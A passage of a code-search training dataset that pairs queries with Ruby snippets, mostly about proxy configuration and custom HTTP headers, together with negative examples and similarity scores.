"def set_proxy(proxy='')\r\n RestClient.proxy = proxy.empty? ? ENV['http_proxy'] : proxy\r\n end",
"def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end",
"def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end",
"def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end",
"def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end",
"def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end",
"def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end",
"def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end",
"def set_proxy(opts)\n opts = check_params(opts,[:proxy_info])\n super(opts)\n end",
"def proxy=(value)\n Curl.set_option(:proxy, value_for(value, :string), handle)\n end",
"def setHttpProxy(proxy)\n unless /(?i)^([a-z0-9]+(-[a-z0-9]+)*\\.)+[a-z0-9]{1,}:\\d+$/.match(proxy)\n raise Error.new(Pdfcrowd.create_invalid_value_message(proxy, \"setHttpProxy\", \"image-to-image\", \"The value must have format DOMAIN_OR_IP_ADDRESS:PORT.\", \"set_http_proxy\"), 470);\n end\n \n @fields['http_proxy'] = proxy\n self\n end",
"def proxy(url, opts={})\n @proxies[url] = opts\n end",
"def use(proxy, options = {}, &block)\n proxy = Moneta.const_get(proxy) if Symbol === proxy\n raise ArgumentError, 'You must give a Class or a Symbol' unless Class === proxy\n @proxies.unshift [proxy, options, block]\n nil\n end",
"def use(proxy, options = {}, &block)\n proxy = Moneta.const_get(proxy) if Symbol === proxy\n raise ArgumentError, 'You must give a Class or a Symbol' unless Class === proxy\n @proxies.unshift [proxy, options, block]\n nil\n end",
"def proxy\n\t\t\tself.options[:proxy]\n\t\tend",
"def http\n @http ||= Net::HTTP::Proxy(@proxy.host, @proxy.port).new @endpoint.host, @endpoint.port\n end",
"def start_proxy\n if !proxy.running?\n Kernel.at_exit do\n proxy.stop\n end\n end\n Socks.enable_net_http_socks_proxy\n proxy.start\n end",
"def initialize(proxy)\n @proxy_uri =\n case proxy\n when :no_proxy then nil\n when nil then get_proxy_from_env\n when URI::HTTP then proxy\n else URI.parse(proxy)\n end\n end",
"def http_proxy; end",
"def proxy=(new_value)\n @manual_proxy = true\n @proxy = new_value ? ProxyOptions.from(new_value) : nil\n end",
"def http_proxy=(_arg0); end",
"def proxy_for=(target)\n self.proxy_for_id = target.id\n self.proxy_for_type = target.class.name\n end",
"def initialize(proxy_addr, proxy_port)\n timeout = ProxyFetcher.config.proxy_validation_timeout\n\n @http = HTTP.follow.via(proxy_addr, proxy_port.to_i).timeout(connect: timeout, read: timeout)\n end",
"def proxy; end",
"def proxy; end",
"def proxy; end",
"def setHttpsProxy(proxy)\n unless /(?i)^([a-z0-9]+(-[a-z0-9]+)*\\.)+[a-z0-9]{1,}:\\d+$/.match(proxy)\n raise Error.new(Pdfcrowd.create_invalid_value_message(proxy, \"setHttpsProxy\", \"pdf-to-html\", \"The value must have format DOMAIN_OR_IP_ADDRESS:PORT.\", \"set_https_proxy\"), 470);\n end\n \n @fields['https_proxy'] = proxy\n self\n end",
"def proxy # :nodoc:\n return const_get('Proxy', false) if const_defined?('Proxy', false)\n\n const_set('Proxy', Module.new).tap { |proxy| prepend proxy }\n end",
"def setHttpsProxy(proxy)\n unless /(?i)^([a-z0-9]+(-[a-z0-9]+)*\\.)+[a-z0-9]{1,}:\\d+$/.match(proxy)\n raise Error.new(Pdfcrowd.create_invalid_value_message(proxy, \"setHttpsProxy\", \"html-to-pdf\", \"The value must have format DOMAIN_OR_IP_ADDRESS:PORT.\", \"set_https_proxy\"), 470);\n end\n \n @fields['https_proxy'] = proxy\n self\n end",
"def connect_through_proxy; end",
"def using_proxy?; end",
"def proxy_set?; end",
"def proxy=value\n @proxy=value.is_a?(URI) ? value:URI.parse(value)\n end",
"def start\n super\n start_proxy\n end",
"def proxy(&block)\n if block_given?\n @proxy = block\n else\n if @proxy.is_a? Proc\n @proxy.call\n else\n @proxy\n end\n end\n end",
"def chain_proxy\r\n @chain = false\r\n _proxy_\r\n end",
"def setup_proxy(proxy_server, port, user_name = nil, password = nil)\n self.http_proxy_setting = {\n http: {\n server: proxy_server,\n port: port\n }\n }\n if user_name and password\n self.http_proxy_setting[:http][:user_name] = user_name\n self.http_proxy_setting[:http][:password] = password\n end\n end",
"def http_proxy(addr=nil, port = nil)\n default_options[:http_proxyaddr] = addr\n default_options[:http_proxyport] = port\n end",
"def proxy_target=(proxy_target)\n @proxy_target = proxy_target\n loaded! unless @proxy_target.nil?\n end",
"def proxy\n return @proxy if @proxy\n return if not Utility.is_windows?\n\n handle = WinProxy.open(@@HTTP_header['User-Agent'], 1, nil, nil, 0)\n return @proxy if handle.null?\n\n options = WinProxy::Options.new\n options[:flags] = 1\n options[:auto_detect_flags] = 2\n options[:auto_logon] = 1\n info = WinProxy::Info.new\n res = WinProxy.get_proxy(handle, (uri.to_s + \"\\0\").encode('utf-16le'), options, info)\n return @proxy if res == 0 # the call failed so return default proxy\n return unless info.proxy?\n\n puts \"TODO: handle proxy bypass - #{info[:bypass].read_16bit_c_string}\" unless info[:bypass].null?\n\n proxies = info[:proxy].read_16bit_c_string.strip.split(';').select {|p| not p.empty? }.map {|p| p.split(':') }\n @proxy = proxies[0]\n @proxy << '80' if @proxy.length == 1\n @proxy += proxy_userpass(proxies.map {|p| p[0] })\n\n WinProxy.free(info[:proxy])\n WinProxy.free(info[:bypass]) unless info[:bypass].null?\n\n @proxy\n end",
"def initialize(proxy_host, proxy_port = 80, options = {})\n @proxy_host = proxy_host\n @proxy_port = proxy_port\n @options = options\n end",
"def proxies\n @proxies ||= {}\n end",
"def send_proxy_connect_request(req); end",
"def add_proxy(proxy_path, opts={})\n @proxies[proxy_path.to_sym] = HashStruct.new(opts)\n return self\n end",
"def connect_using_proxy(socket); end",
"def proxy_service(req, res)\n # Proxy Authentication\n proxy_auth(req, res)\n @config[:forwarder].forward(req, res)\n end",
"def proxy_for= value\n value = [] if value.nil?\n self.proxy_for_ = value\n end",
"def setHttpsProxy(proxy)\n unless /(?i)^([a-z0-9]+(-[a-z0-9]+)*\\.)+[a-z0-9]{1,}:\\d+$/.match(proxy)\n raise Error.new(Pdfcrowd.create_invalid_value_message(proxy, \"setHttpsProxy\", \"pdf-to-text\", \"The value must have format DOMAIN_OR_IP_ADDRESS:PORT.\", \"set_https_proxy\"), 470);\n end\n \n @fields['https_proxy'] = proxy\n self\n end",
"def perform_proxy_request(req, res)\n uri = req.request_uri\n header = setup_proxy_header(req, res)\n # upstream = setup_upstream_proxy_authentication(req, res, header)\n response = nil\n\n http = Net::HTTP.new(uri.host, uri.port) # upstream.host, upstream.port)\n\n # HERE is what I add: SSL support\n if http.use_ssl = (uri.scheme == 'https' || uri.port == 443)\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http.cert_store = ssl_cert_store\n end\n\n http.start do\n if @config[:ProxyTimeout]\n ################################## these issues are\n http.open_timeout = 30 # secs # necessary (maybe bacause\n http.read_timeout = 60 # secs # Ruby's bug, but why?)\n ##################################\n end\n response = yield(http, uri.request_uri, header)\n end\n\n # Persistent connection requirements are mysterious for me.\n # So I will close the connection in every response.\n res['proxy-connection'] = \"close\"\n res['connection'] = \"close\"\n\n # Convert Net::HTTP::HTTPResponse to WEBrick::HTTPResponse\n res.status = response.code.to_i\n choose_header(response, res)\n set_cookie(response, res)\n set_via(res)\n res.body = response.body\n end",
"def setHttpsProxy(proxy)\n unless /(?i)^([a-z0-9]+(-[a-z0-9]+)*\\.)+[a-z0-9]{1,}:\\d+$/.match(proxy)\n raise Error.new(Pdfcrowd.create_invalid_value_message(proxy, \"setHttpsProxy\", \"html-to-image\", \"The value must have format DOMAIN_OR_IP_ADDRESS:PORT.\", \"set_https_proxy\"), 470);\n end\n \n @fields['https_proxy'] = proxy\n self\n end",
"def initialize(proxy_host, proxy_port = 1080, options = {})\n @proxy_host = proxy_host\n @proxy_port = proxy_port\n @options = options\n end",
"def initialize(proxy_host, proxy_port = 1080, options = {})\n @proxy_host = proxy_host\n @proxy_port = proxy_port\n @options = options\n end",
"def set_proxy(address, port, user = T.unsafe(nil), password = T.unsafe(nil)); end",
"def setHttpsProxy(proxy)\n unless /(?i)^([a-z0-9]+(-[a-z0-9]+)*\\.)+[a-z0-9]{1,}:\\d+$/.match(proxy)\n raise Error.new(Pdfcrowd.create_invalid_value_message(proxy, \"setHttpsProxy\", \"image-to-pdf\", \"The value must have format DOMAIN_OR_IP_ADDRESS:PORT.\", \"set_https_proxy\"), 470);\n end\n \n @fields['https_proxy'] = proxy\n self\n end",
"def proxy\n ENV['RANCHER_PROXY']\n end",
"def set_proxy_config\n http_proxy \"http://127.0.0.1:3128\"\n https_proxy \"http://127.0.0.1:3128\"\n ftp_proxy \"http://127.0.0.1:3128\"\nend",
"def proxy_pass; end",
"def test_using_proxy_object\n proxy = Selenium::WebDriver::Proxy.new(\n http: PROXY,\n ssl: PROXY\n )\n\n run_test_with proxy: proxy\n end",
"def set_proxy(addr, port = T.unsafe(nil), user = T.unsafe(nil), pass = T.unsafe(nil)); end",
"def mock_proxy\n @mock_proxy ||= Proxy.new(self, Mock === self ? @name : self.class.name)\n end",
"def proxy meth\n Proxy.new self, meth\n end",
"def select_http_obj\n if @proxy_server\n http = Net::HTTP::Proxy(@proxy_server[:address],@proxy_server[:port],\n @proxy_server[:user],@proxy_server[:password]).new(@url.host,@url.port)\n else\n http = Net::HTTP.new(@url.host, @url.port)\n end\n http.use_ssl=true if @url.class==URI::HTTPS\n if !@verify_ssl\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE if @url.class==URI::HTTPS\n end\n http\n end",
"def http_proxy\n @http_proxy ||= begin\n proxy = get_env('HTTP_PROXY') || return\n proxy = \"http://#{proxy}\" unless proxy =~ /^https?:/\n uri = URI.parse(proxy)\n uri.user ||= get_env('HTTP_PROXY_USER')\n uri.password ||= get_env('HTTP_PROXY_PASS')\n uri\n end\n end",
"def proxy_uri; end",
"def proxy_uri; end",
"def proxy_start\n $proxy = Ritm::Proxy::Launcher.new\n $proxy.start\nend",
"def proxy(value)\n update_query(:proxy => value)\n end",
"def initialize( proxy_host, proxy_port=1080, options={} )\n @proxy_host = proxy_host\n @proxy_port = proxy_port\n @options = options\n end",
"def proxies; end",
"def initialize\n @conf = BeEF::Core::Configuration.instance\n @proxy_server = TCPServer.new(@conf.get('beef.extension.proxy.address'), @conf.get('beef.extension.proxy.port'))\n\n loop do\n proxy = @proxy_server.accept\n Thread.new proxy, &method(:handle_request)\n end\n end",
"def http_proxy addr, opts={}\n return Net::HTTP unless addr\n\n host, port = addr.split \":\"\n port ||= opts[:port] || 8080\n\n user = opts[:username]\n pass = opts[:password]\n\n Kronk::Cmd.verbose \"Using proxy #{addr}\\n\" if host\n\n Net::HTTP::Proxy host, port, user, pass\n end",
"def setHttpsProxy(proxy)\n unless /(?i)^([a-z0-9]+(-[a-z0-9]+)*\\.)+[a-z0-9]{1,}:\\d+$/.match(proxy)\n raise Error.new(Pdfcrowd.create_invalid_value_message(proxy, \"setHttpsProxy\", \"image-to-image\", \"The value must have format DOMAIN_OR_IP_ADDRESS:PORT.\", \"set_https_proxy\"), 470);\n end\n \n @fields['https_proxy'] = proxy\n self\n end",
"def proxy_mgr\n ProxyFetcher.configure do |config|\n config.provider = %i[free_proxy_list_ssl xroxy proxy_list]\n config.proxy_validation_timeout = 15\n config.user_agent = USER_AGENT\n end\n ProxyFetcher::Manager.new\n end",
"def proxy(pattern)\n return Proxy.new(pattern, proxies)\n end"
] | [
"0.7277212",
"0.7096808",
"0.6931883",
"0.69037575",
"0.6898203",
"0.68966746",
"0.6873617",
"0.67912525",
"0.6790891",
"0.6787687",
"0.67853475",
"0.6766837",
"0.6663117",
"0.6652647",
"0.66026914",
"0.65727633",
"0.6545819",
"0.6541645",
"0.652903",
"0.65176827",
"0.64785314",
"0.6458639",
"0.6424178",
"0.6395093",
"0.6351981",
"0.63518554",
"0.63518554",
"0.63351154",
"0.63351154",
"0.63351154",
"0.63351154",
"0.63351154",
"0.63351154",
"0.63351154",
"0.6325977",
"0.6302107",
"0.62919915",
"0.6265115",
"0.62405354",
"0.62405354",
"0.6211314",
"0.61755455",
"0.61442226",
"0.6142249",
"0.61414003",
"0.61367965",
"0.61286783",
"0.60774255",
"0.6056003",
"0.60496485",
"0.60496485",
"0.60496485",
"0.6021171",
"0.6014124",
"0.60129577",
"0.6007418",
"0.60029125",
"0.59828305",
"0.5980237",
"0.5951012",
"0.59464645",
"0.5938324",
"0.59288865",
"0.5927486",
"0.5917886",
"0.5914038",
"0.5907497",
"0.5893664",
"0.58634",
"0.58491826",
"0.58345747",
"0.58287996",
"0.58260584",
"0.58149445",
"0.58087176",
"0.57952535",
"0.57848185",
"0.57848185",
"0.5782372",
"0.5778094",
"0.57471836",
"0.5736412",
"0.5734075",
"0.57335836",
"0.5704201",
"0.5703005",
"0.57004064",
"0.56796587",
"0.56604356",
"0.5634175",
"0.5634175",
"0.5605326",
"0.560526",
"0.5604079",
"0.5592095",
"0.55911916",
"0.55638874",
"0.5549688",
"0.5539618",
"0.55293417"
] | 0.67617816 | 12 |
Allows you to submit custom headers using a Hash. headers is a Hash object. Returns self to accommodate method chaining. | def with_custom_headers(header)
@header = header
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def headers=(headers)\n @headers = headers if headers.kind_of? Hash\n end",
"def headers=(hash)\n if headers\n headers.replace hash\n else\n super\n end\n end",
"def with_headers(new_headers)\n @with_headers.merge!(new_headers)\n self\n end",
"def headers=(headers={})\n @headers = headers.merge(\n \"x-amz-date\" => request_timestamp\n )\n end",
"def headers(headers)\n @headers = headers\n end",
"def header(hash = {})\n @headers.merge!(hash)\n end",
"def headers(hash = {})\n hash.each_pair do |k,v|\n @header[k] = v\n end\n end",
"def perform\n add_request_if_new do |request|\n request.header_set(*arguments)\n end\n end",
"def merge_headers(headers)\n self.class.new(@request_env.merge(request_headers: @request_env[:request_headers].merge(headers)))\n end",
"def initialize(headers={})\n @values = {}\n initialize_names\n merge! headers\n end",
"def headers= headers\n @headers = headers\n headers.each do |attr, value|\n `#@native.setRequestHeader(attr, value)`\n end\n end",
"def headers(hash = {})\n hash.each_pair do |k,v|\n header[k] = v\n end\n end",
"def headers(hash=nil)\n @headers = hash unless hash.nil?\n @headers ||= {}\n end",
"def headers(hash = nil || (return @headers))\n @headers.merge!(hash)\n end",
"def headers=(new_headers)\n if !new_headers.kind_of?(Hash)\n raise ArgumentError, \"Headers must be a hash\"\n end\n\n @headers = new_headers\n end",
"def add_headers(headers)\n @headers = @headers.merge(headers)\n end",
"def merge_headers(headers)\n self.class.new(@status, @headers.merge(headers), @body)\n end",
"def auth_headers(headers = {})\n h = headers.dup\n h['X-Tableau-Auth'] = @client.auth.token\n h\n end",
"def headers(new_headers = {})\n (@headers ||= {}).merge!(new_headers)\n end",
"def initialize(headers)\n @headers = headers\n end",
"def headers(headers = nil)\n @headers.assign(headers) if headers\n @headers\n end",
"def headers=(hash)\n @headers.replace hash\n end",
"def apply_header(options, key, value)\n options.merge! :headers => {} unless options.has_key? :headers\n options[:headers].merge!({ key => value })\n end",
"def headers=(hash); end",
"def headers=(hash); end",
"def setHeaders(headers)\n @headers = headers\n end",
"def default_headers_obj(*args)\n Headers.new(*args).extend(RequestHeaders)\n end",
"def headers\n headers = {}\n headers[:accept] = '*/*'\n headers[:content_type] = 'Application/json;charset=UTF-8'\n headers[:Authorization] = encode_credentials\n headers\n end",
"def headers\n {'Authorization' => options[:header_format] % token}\n end",
"def header(hash)\n self._headers.merge!(hash)\n end",
"def call_rest_headers(headers, params)\n rest_headers = {}.merge(headers || {})\n rest_headers[:params] = params if params && !params.empty?\n rest_headers\n end",
"def headers(value = nil, &block)\n __define__(:headers, value, block)\n end",
"def set_header(auth_headers)\n header 'access-token', auth_headers['access-token']\n header 'token-type', auth_headers['token-type']\n header 'client', auth_headers['client']\n header 'expiry', auth_headers['expiry']\n header 'uid', auth_headers['uid']\nend",
"def method_missing(sym, *args)\n if sym.to_s =~ /=$/\n self[sym.to_s[0..-2].to_sym] = args.first\n elsif @headers.has_key?(sym)\n self[sym]\n else\n super\n end\n end",
"def make_request_headers(opts); end",
"def set_extra_headers_for(params)\n maor_headers = {\n 'x-tmrk-version' => @version,\n 'Date' => Time.now.utc.strftime(\"%a, %d %b %Y %H:%M:%S GMT\"),\n }\n params[:headers].merge!(maor_headers)\n if params[:method]==\"POST\" || params[:method]==\"PUT\"\n params[:headers].merge!({\"Content-Type\" => 'application/xml'})\n params[:headers].merge!({\"Accept\" => 'application/xml'})\n end\n unless params[:body].empty?\n params[:headers].merge!({\"x-tmrk-contenthash\" => \"Sha256 #{Base64.encode64(Digest::SHA2.digest(params[:body].to_s)).chomp}\"})\n end\n if @authentication_method == :basic_auth\n params[:headers].merge!({'Authorization' => \"Basic #{Base64.encode64(@username+\":\"+@password).delete(\"\\r\\n\")}\"})\n elsif @authentication_method == :cloud_api_auth\n signature = cloud_api_signature(params)\n params[:headers].merge!({\n \"x-tmrk-authorization\" => %{CloudApi AccessKey=\"#{@access_key}\" SignatureType=\"HmacSha256\" Signature=\"#{signature}\"}\n })\n end\n params[:headers]\n end",
"def headers\n @headers ||= {\n \"Content-Type\" => \"application/json\",\n \"Authorization\" => \"Bearer #{@token}\",\n }\n end",
"def headers=(headers)\n @headers = headers.merge({\"User-Agent\" => user_agent})\n end",
"def set_header(name, value)\n @headers[name] = value\n \n return self\n end",
"def faraday_headers(options)\n return options[:headers] if options[:headers]\n\n headers = options[:credentials]\n return unless headers && headers[:token]\n\n {\n Authorization: 'Bearer ' + headers[:token].to_s,\n }\n end",
"def headers hash=nil\n @response.headers.merge! hash if hash\n @response.headers\n end",
"def headerprep(headers = {}) # :nodoc:\n default_headers = {}\n default_headers[\"X-Auth-Token\"] = @authtoken if (authok? && @account.nil?)\n default_headers[\"X-Storage-Token\"] = @authtoken if (authok? && [email protected]?)\n default_headers[\"Connection\"] = \"Keep-Alive\"\n default_headers[\"Accept\"] = \"application/json\"\n default_headers[\"Content-Type\"] = \"application/json\"\n default_headers.merge(headers)\n end",
"def headers\n h = {}\n raw.headers_hash.each {|k,v| h[k] = v }\n h\n end",
"def make_headers(user_headers); end",
"def add_headers(opts = {})\n unless opts[:headers].nil?\n opts[:headers].each do |opt, value|\n @headers[opt.to_s] = value\n end\n opts.delete(:headers)\n end\n end",
"def set_meta_headers(headers)\n @logger.info \"Setting #{headers.keys.join(', ')} for tenant #{@fog_options[:hp_tenant_id]}...\"\n response = @connection.request({\n :method => 'POST',\n :headers => headers\n })\n\n # Confirm meta data changes\n response = @connection.request({\n :method => 'HEAD'\n })\n\n @logger.info \"Done setting account meta key.\"\n end",
"def dynamic_headers\n {\n 'Authorization' => token,\n 'RequestID' => request_id,\n }\n end",
"def headerprep(headers = {}) # :nodoc:\n default_headers = {}\n default_headers[\"X-Auth-Token\"] = @authtoken if (authok? && @account.nil?)\n default_headers[\"X-Storage-Token\"] = @authtoken if (authok? && [email protected]?)\n default_headers[\"Connection\"] = \"Keep-Alive\"\n default_headers[\"User-Agent\"] = \"OpenStack::Compute Ruby API #{VERSION}\"\n default_headers[\"Accept\"] = \"application/json\"\n default_headers.merge(headers)\n end",
"def faraday_headers(options)\n return options[:headers] if options[:headers]\n\n headers = options[:credentials]\n return unless headers && headers[:token]\n\n {\n Authorization: \"Bearer #{headers[:token]}\",\n }\n end",
"def default_headers_obj(*args)\n Headers.new(*args).extend(ResponseHeaders)\n end",
"def add_generic_headers(http_method, uri, request_headers, context = nil)\n request_headers.concat(@session.meta_data_provider.meta_data_headers)\n request_headers.push(RequestHeader.new('Date', get_header_date_string))\n if !context.nil? && !context.idempotence_key.nil?\n request_headers.push(RequestHeader.new('X-GCS-Idempotence-Key', context.idempotence_key))\n end\n authenticator = @session.authenticator\n authentication_signature = authenticator.create_simple_authentication_signature(http_method, uri, request_headers)\n request_headers.push(RequestHeader.new('Authorization', authentication_signature))\n end",
"def headers\n @headers ||= begin\n headers = options[:headers] || {}\n headers['Content-Type'] = options[:content_type] if options[:content_type]\n headers\n end\n end",
"def headers\n if !block_given?\n return ::Vertx::Util::Utils.safe_create(@j_del.java_method(:headers, []).call(),::Vertx::MultiMap)\n end\n raise ArgumentError, \"Invalid arguments when calling headers()\"\n end",
"def headers\n hash = {}\n hash['Content-Type'] = 'application/json'\n hash['Authorization'] = \"ShacipKey #{api_key}\" unless api_key.nil?\n hash\n end",
"def build(body = body, status = status, header = header)\n header.each do |key, value|\n self[key] = value\n end\n\n self.body, self.status = body, status\n self\n end",
"def request_headers(headers = {}, auth: true, gzip: true)\n headers = default_headers.merge(headers)\n headers.merge!(bearer_authorization_header) if auth\n headers[ACCEPT_ENCODING] = GZIP if gzip\n headers.reject{|_,v| v.nil? || (v.respond_to?(:empty?) && v.empty?)}\n end",
"def header(name, value)\n har_headers << [name, value]\n super(name, value)\n end",
"def formulate_headers(auth_header)\n {\n 'Content-Type' => 'application/json',\n 'Authorization' => auth_header,\n 'Content-Encoding' => 'gzip',\n 'Accept' => 'application/json'\n }\n end",
"def header=(header = {})\n @header = { 'Content-Type' => 'application/json', 'Accept' => 'application/json' }.merge(header)\n end",
"def header=(header = {})\n @header = { 'Content-Type' => 'application/json', 'Accept' => 'application/json' }.merge(header)\n end",
"def upd_header(headers)\n hdr={'Content-Type' =>'application/json'}\n if(headers!=nil)\n headers['Content-Type']='application/json'\n hdr=headers\n end\n hdr\n end",
"def initialize(headers={}, data=[])\r\n @headers = {}\r\n @pepmass = nil\r\n @charge = nil\r\n @data = data\r\n\r\n headers.each_pair do |key, value|\r\n self[key] = value\r\n end\r\n end",
"def headers\n headers = {}\n headers['Content-Type'] = 'application/x-www-form-urlencoded'\n headers['X-SILENCE-LOGGER'] = 'true'\n headers['Dont-Chunk'] = 'true' unless self.class.long_polling\n\n headers\n end",
"def header_params\n params.require(:header).permit(:name, :value, :mock_id)\n end",
"def request_headers! header_hash\n errors = header_hash.each_with_object [] do |(key, val), errors|\n key = key.to_s; val = val.to_s\n rv = Wrapper.msc_add_n_request_header txn_ptr, (strptr key), key.bytesize, (strptr val), val.bytesize\n rv == 1 or errors << \"msc_add_n_request_header failed adding #{[key,val].inspect}\"\n end\n\n raise Error errors if errors.any?\n\n rv = Wrapper.msc_process_request_headers txn_ptr\n rv == 1 or raise \"msc_process_request_headers failed\"\n\n intervention!\n end",
"def headers(headers); end",
"def headerprep(headers = {}) # :nodoc:\n default_headers = {}\n default_headers[\"X-Auth-Token\"] = @authtoken if (authok? && @account.nil?)\n default_headers[\"X-Storage-Token\"] = @authtoken if (authok? && [email protected]?)\n default_headers[\"Connection\"] = \"Keep-Alive\"\n default_headers[\"User-Agent\"] = \"CloudServers Ruby API #{VERSION}\"\n default_headers[\"Accept\"] = \"application/json\"\n default_headers.merge(headers)\n end",
"def allowed_headers(headerNames=nil)\n if headerNames.class == Set && !block_given?\n @j_del.java_method(:allowedHeaders, [Java::JavaUtil::Set.java_class]).call(Java::JavaUtil::LinkedHashSet.new(headerNames.map { |element| element }))\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling allowed_headers(headerNames)\"\n end",
"def set_wiremock_headers(headers)\n @wiremock_headers = headers\n end",
"def initialize(attributes={})\n @body = attributes[:body]\n @headers = HTTY::OrderedHash.new\n Array(attributes[:headers]).each do |name, value|\n @headers[name] = value\n end\n end",
"def request_headers=(request_headers); end",
"def headerprep(headers = {}) # :nodoc:\n default_headers = {}\n default_headers[\"X-Auth-Token\"] = @authtoken if (authok? && @account.nil?)\n default_headers[\"X-Storage-Token\"] = @authtoken if (authok? && [email protected]?)\n default_headers[\"Connection\"] = \"Keep-Alive\"\n default_headers[\"Accept\"] = \"application/json\"\n default_headers[\"Content-Type\"] = \"application/json\"\n default_headers[\"User-Agent\"] = \"Cloud Databases Ruby API #{CloudDB::VERSION}\"\n default_headers.merge(headers)\n end",
"def set_header_insert(opts)\n opts = check_params(opts,[:headers])\n super(opts)\n end",
"def setCustomHttpHeader(header)\n unless /^.+:.+$/.match(header)\n raise Error.new(Pdfcrowd.create_invalid_value_message(header, \"setCustomHttpHeader\", \"html-to-pdf\", \"A string containing the header name and value separated by a colon.\", \"set_custom_http_header\"), 470);\n end\n \n @fields['custom_http_header'] = header\n self\n end",
"def append_headers(*headers)\n new_headers = headers.join(\"\\r\\n\")\n new_headers = \"#{new_headers}\\r\\n#{self.raw_headers}\"\n @raw_headers = new_headers\n @raw_validation = nil\n @headers = nil\n end",
"def headers=(v)\n cfg_set(:headers, v)\n end",
"def update_headers(request_headers)\n @request_headers.merge!(request_headers)\n end",
"def []=(k, v) @headers[translate_header_to_sym(k)] = v end",
"def headers\n {\"Accept\" => \"application/json\",\n \"Content-Type\" => \"application/x-www-form-urlencoded\" }\n end",
"def headers(headers = {})\n @default_headers = headers if @default_headers.nil? || !headers.blank?\n @default_headers\n end",
"def with_headers(extra_headers = {}, &block)\n original_headers = @conn.headers.dup\n @conn.headers.merge!(extra_headers)\n result = yield self\n @conn.headers = original_headers\n result\n end",
"def headers=(v)\n cfg_set(:headers, v)\n end",
"def build_headers method:, path:, headers:\n h = {\n AUTHORITY_KEY => [@host, @port.to_s].join(':'),\n METHOD_KEY => method.to_s.upcase,\n PATH_KEY => path,\n SCHEME_KEY => @scheme\n }.merge USER_AGENT\n h.merge! stringify_headers(headers)\n end",
"def headers\n @headers ||= HeaderHash.new(@http_response.to_hash)\n end",
"def request_headers= request_headers\n @agent.request_headers = request_headers\n end",
"def headers=(v)\n check_headers(v)\n set_headers(v)\n v\n end",
"def apply_headers(request)\n @custom_headers.each do |key, value|\n request.add_field key, value\n end\n end",
"def headers\n {\n 'Host' => host,\n 'Content-Type' => 'application/json',\n api_key => settings.api_key\n }\n end",
"def headers\n { 'X-Auth-Token' => self.api_key }\n end",
"def method_missing(m, *args, &block)\n\t\t\treturn super unless header.respond_to?(m)\n\t\t\theader.send(m, *args, &block)\n\t\tend",
"def headers\r\nHttp::Headers.new(@env)\r\nend",
"def build\n headers = {\n 'Authorization' => \"Passcode #{passcode}\",\n }\n headers['Content-Type'] = content_type if content_type\n headers['Sub-Merchant-Id'] = sub_merchant_id if sub_merchant_id\n headers\n end",
"def headers\n if @values.key? :auth_token\n { Authorization: 'Bearer ' + @values[:auth_token] }\n else\n {}\n end\n end",
"def request_headers\n headers = {'Content-Type' => 'application/json'}\n headers[:user_agent] = @client.user_agent\n headers[:authorization] = auth_header\n headers\n end",
"def set_response_headers(headers)\n new(\n response_headers: ConnSupport::Headers.normalize(headers)\n )\n end",
"def headers\n {\n \"Authorization\" => basic_auth,\n \"Content-Type\" => \"application/json\",\n \"Accept\" => \"application/json\"\n }\n end",
"def request_headers=(_arg0); end",
"def initialize(options = {})\n @options = options\n @header = options[:header]\n end",
"def headers\n h = {\n 'X-Api-Version' => @api_version,\n :accept => :json,\n }\n\n if @account_id\n h['X-Account'] = @account_id\n end\n\n if @access_token\n h['Authorization'] = \"Bearer #{@access_token}\"\n elsif @cookies\n h[:cookies] = @cookies\n end\n\n if @local_token\n h['X-RLL-Secret'] = @local_token\n end\n\n h\n end",
"def exposed_headers(headerNames=nil)\n if headerNames.class == Set && !block_given?\n @j_del.java_method(:exposedHeaders, [Java::JavaUtil::Set.java_class]).call(Java::JavaUtil::LinkedHashSet.new(headerNames.map { |element| element }))\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling exposed_headers(headerNames)\"\n end"
] | [
"0.6657805",
"0.66235024",
"0.6543428",
"0.65092415",
"0.64308804",
"0.63903236",
"0.6292699",
"0.6292155",
"0.62650573",
"0.6246111",
"0.62390465",
"0.61943203",
"0.6187783",
"0.6164681",
"0.6131351",
"0.6079608",
"0.60773",
"0.6075656",
"0.6037449",
"0.6026855",
"0.60226756",
"0.601853",
"0.59948176",
"0.597138",
"0.597138",
"0.5933699",
"0.5920973",
"0.5896633",
"0.5888882",
"0.5877854",
"0.5877472",
"0.5813296",
"0.5774744",
"0.573809",
"0.57250565",
"0.5717735",
"0.5713395",
"0.5700011",
"0.5671623",
"0.56641537",
"0.5663237",
"0.56414706",
"0.5631972",
"0.5622327",
"0.56129164",
"0.561092",
"0.5606283",
"0.56052047",
"0.56023103",
"0.56021804",
"0.5573404",
"0.55712324",
"0.5548568",
"0.5543754",
"0.5542642",
"0.5538813",
"0.55344564",
"0.5532833",
"0.5528184",
"0.5527875",
"0.5527572",
"0.5522385",
"0.5519094",
"0.55108255",
"0.55053467",
"0.55045223",
"0.5492029",
"0.5481713",
"0.54720885",
"0.54705477",
"0.5461766",
"0.5456113",
"0.54463583",
"0.54451877",
"0.5438928",
"0.5437318",
"0.5430212",
"0.5428945",
"0.54223996",
"0.5419778",
"0.5415173",
"0.539855",
"0.5392164",
"0.53921515",
"0.5390502",
"0.53758436",
"0.5375219",
"0.5372962",
"0.53687817",
"0.53681743",
"0.53636885",
"0.53564703",
"0.5356032",
"0.5355927",
"0.5355434",
"0.53553957",
"0.5350274",
"0.5349564",
"0.53456265",
"0.5345331"
] | 0.6330568 | 6 |
Allows the caller to specify the subscription license (aka "track") they wish to use. Returns self to accommodate method chaining. | def with_licenses(licenses)
@licenses.concat licenses
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def license(arg = nil)\n set_or_return(\n :license,\n arg,\n kind_of: [ String ]\n )\n end",
"def license=(value)\n @license = value\n end",
